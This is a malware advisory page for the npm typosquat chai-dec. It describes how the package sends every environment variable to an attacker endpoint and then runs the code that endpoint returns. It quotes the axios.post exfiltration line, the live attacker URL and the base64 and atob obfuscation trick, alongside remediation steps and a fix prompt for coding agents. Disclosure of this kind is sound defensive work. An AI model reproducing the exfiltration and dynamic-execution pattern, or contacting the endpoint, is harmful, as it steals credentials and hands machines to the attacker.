# MAL-2026-5606: Malicious code in chai-dec (npm)


- **Type:** Malicious package
- **Package:** `chai-dec` (npm)
- **Published:** 11 Jun 2026
- **Also known as:** GHSA-782j-c8c3-2j5w

## What is MAL-2026-5606?

MAL-2026-5606 is a malicious package in chai-dec, published on 11 Jun 2026. 

### Official description

chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — `module.exports.pino = middleware` — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via `axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } })`, leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed `process.env.DEV_API_KEY` and decoded with `atob` at runtime to evade static review. The HTTP response body is then passed to `new Function('require', response.data)` and invoked with the real `require`, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5606?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5606 is a malicious package: chai-dec (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5606/ (Markdown: https://insights.sbomify.com/MAL-2026-5606/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5606

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5606/
Summaries are generated and may contain mistakes; the official description above is the record.
